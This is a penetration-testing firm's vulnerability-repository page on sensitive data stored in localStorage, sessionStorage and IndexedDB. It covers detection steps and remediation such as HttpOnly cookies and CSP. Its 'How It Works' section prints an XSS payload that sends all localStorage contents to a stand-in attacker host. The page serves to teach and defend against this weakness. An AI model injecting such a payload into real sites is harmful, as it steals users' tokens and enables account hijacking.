SecureBlockLog inStart a pentest
Vulnerability Repository
MediumClient-Side

Client-Side Storage Exposure

Sensitive data stored in localStorage, sessionStorage, or IndexedDB is accessible to any JavaScript on the page, including injected malicious scripts.

CVSS 5.3CWE CWE-922OWASP A02:2021 — Cryptographic Failures

Description

Browser-based storage mechanisms—localStorage, sessionStorage, and IndexedDB—are accessible to any JavaScript executing within the same origin. When applications store sensitive data such as authentication tokens, session identifiers, personal information, or cryptographic keys in these stores, any successful cross-site scripting (XSS) attack gains immediate access to all of it. Unlike HttpOnly cookies, which are opaque to JavaScript, client-side storage has no access control mechanism that can restrict read access to trusted scripts only.

CWE-922 (Insecure Storage of Sensitive Information) applies because the storage medium itself is not designed for protecting sensitive credentials or PII from other scripts on the page. A02:2021 Cryptographic Failures is relevant because applications frequently store JWTs, API tokens, and OAuth access tokens in localStorage as a convenience measure, effectively stripping the cryptographic protection those tokens were designed to provide by making them readable to the JavaScript execution environment.

The vulnerability is compounded in single-page applications (SPAs) built with React, Angular, or Vue, where long-lived JWTs stored in localStorage persist across browser sessions and tab closures. A stored XSS vulnerability discovered months after the initial deployment can retroactively compromise every token stored since the application launched.

How It Works

During a penetration test, an assessor inspects client-side storage using browser developer tools:

// Browser console — enumerate all localStorage keys and values
for (let i = 0; i < localStorage.length; i++) {
    const key = localStorage.key(i);
    console.log(key, localStorage.getItem(key));
}

// Common findings
// localStorage["access_token"] = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
// localStorage["user_id"] = "12345"
// localStorage["stripe_publishable_key"] = "pk_live_..."
// sessionStorage["otp_code"] = "847291"

An XSS payload that exfiltrates stored tokens looks like this:

// XSS payload embedded in a vulnerable input field
<script>
  fetch('https://attacker.example.com/steal?d=' +
    btoa(JSON.stringify(localStorage))
  );
</script>

Mobile applications face an analogous issue when using React Native's AsyncStorage (unencrypted) or Cordova's localStorage equivalent, both of which store data in plaintext SQLite databases on the device filesystem. These are accessible to any other app with filesystem access on a rooted device, or via an unencrypted backup on Android.

Impact

  • Session hijacking — Authentication tokens exfiltrated from localStorage grant full access to the victim's account without requiring credentials.
  • Persistent compromise — Long-lived tokens in localStorage persist across browser restarts, extending the window of exploitation.
  • PII exposure — Cached user profile data, addresses, payment information, or health records stored for offline access are exfiltrated.
  • Cryptographic key theft — Client-side encryption keys stored in localStorage are stolen, rendering encrypted data unprotected.
  • Amplified XSS impact — An XSS vulnerability in any part of the application can harvest tokens from every other part, even those not directly injectable.

Detection

  1. Open browser developer tools (F12), navigate to Application > Storage, and enumerate all localStorage, sessionStorage, and IndexedDB contents for sensitive values.
  2. Search the application's JavaScript source bundles for localStorage.setItem, sessionStorage.setItem, and indexedDB.open calls to identify what data is being stored.
  3. Inspect the Set-Cookie headers of authentication responses to determine whether tokens are issued as cookies (preferred) or if the application relies solely on localStorage for token storage.
  4. For mobile applications, extract the application data directory (with adb backup on Android or from a jailbroken iOS device) and examine SQLite databases for unencrypted token storage.
  5. Test whether discovered tokens from storage can be replayed in API requests from a different browser session to confirm they are active bearer credentials.

Remediation

Store authentication tokens in HttpOnly cookies. HttpOnly cookies cannot be read by JavaScript, preventing token theft via XSS. Combine with Secure and SameSite=Strict attributes:

Set-Cookie: auth_token=<value>; HttpOnly; Secure; SameSite=Strict; Path=/

Minimize sensitive data in client-side storage. Store only non-sensitive UI state (theme preferences, pagination settings) in localStorage. Never store tokens, PII, or cryptographic material.

Implement Content Security Policy. A strict CSP limits the ability of injected scripts to exfiltrate data by restricting connect-src to known origins, reducing the impact of XSS attacks that target stored data.

Use short token lifetimes with refresh rotation. If tokens must be stored client-side, enforce short expiry (15 minutes) with rotating refresh tokens so a stolen token has a narrow usability window.

Encrypt mobile local storage. Use platform-native secure storage APIs: iOS Keychain and Android Keystore for cryptographic material, with encrypted database solutions (SQLCipher) for local data caches.

Ready when you are
Scope a pentest in the next two minutes.
Start scoping